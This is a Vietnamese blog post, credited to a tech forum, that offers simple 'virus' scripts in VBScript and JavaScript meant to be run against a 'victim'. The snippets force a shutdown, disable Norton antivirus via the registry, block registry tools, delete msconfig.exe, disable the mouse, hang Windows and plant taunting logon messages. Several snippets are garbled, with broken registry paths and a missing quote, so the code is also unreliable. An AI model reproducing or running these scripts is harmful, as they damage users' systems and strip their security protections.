Gốc > Bài viết > Hướng dẫn diệt virus >
Một số Code virus đơn giản.
Chỉ với Notepad hay Wordpad bạnđã có thể tự tạo cho mình 1 "chú" Virus dưới dạng _VBSCRIPT hoặc _Javascript rồi:
Dưới đây là code của một số con virus nhỏ dưới dạng VBS:
1.Không cho victim khởi động máy:
2. Disable NAV:
3. Hiển thị một message mỗi khi reboot máy:
4. Hiển thị một dòng lệnh khi click vào file hay folder:,
5. Làm cho các trò trên hoạt động bình thường:
Dưới dạng Javascipt :
var wsh;
wsh=new ActiveXObject ("Wscript.shell");
// Winlogon when reboot
//Disable Registry
//Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn
//Shutdown windows
//Disable Mouse
//Hang up windows
Lê Anh Dũng @ 08:43 09/02/2010
Số lượt xem: 190
Dưới đây là code của một số con virus nhỏ dưới dạng VBS:
1.Không cho victim khởi động máy:
Mã:
Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows"
Mã:
Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\S ervi c es\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD"
3. Hiển thị một message mỗi khi reboot máy:
Mã:
dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "http://allformy.topcities.com" wsh.RegWrite s1+s3, "Ta la anh_hung_bat_dac_di000-Toi den tu HVA"
Mã:
set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U"
Mã:
Dim objShell Set objShell = CreateObject( "WScript.Shell" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Window s\Cu rrentVersion\ " s2 = "Policies\System\DisableRegistryTools" objShell.RegWrite s1+s2,1, "REG_DWORD"
Dưới dạng Javascipt :
var wsh;
wsh=new ActiveXObject ("Wscript.shell");
// Winlogon when reboot
Mã:
var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVe rsio n \\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ; wsh.RegWrite (s1+s3, "Ban da bi toi khong che") ;
Mã:
var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Wi ndow s\\CurrentVers ion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; wsh.RegWrite (s1+s2,0,"REG_DWORD");
Mã:
var fso; fso=new ActiveXObject("Scripting.FileSystemObject"); var fe=fso.getfile("C:\\windows\\msconfig.exe); fe.delete true;
//Disable Mouse
Mã:
wsh.run ("RUNDLL32.EXE mouse,disable");
Mã:
wsh.run ("rundll32 user,disableoemlayer");
Theo forum.tech24.vn
Lê Anh Dũng @ 08:43 09/02/2010
Số lượt xem: 190
Số lượt thích:
0 người
 
- Khám phá “vắc-xin miễn nhiễm” virus dành cho USB (03/02/10)
- Hướng dẫn diệt virus mixa bằng tay (20/01/10)
- Diệt virus không cần phần mềm chuyên dụng (20/01/10)
- Công cụ giúp diệt virus bằng tay và quản lý windows rất hiệu quả (20/01/10)
- Khắc phục hiện tượng LogOff khi khởi động (20/01/10)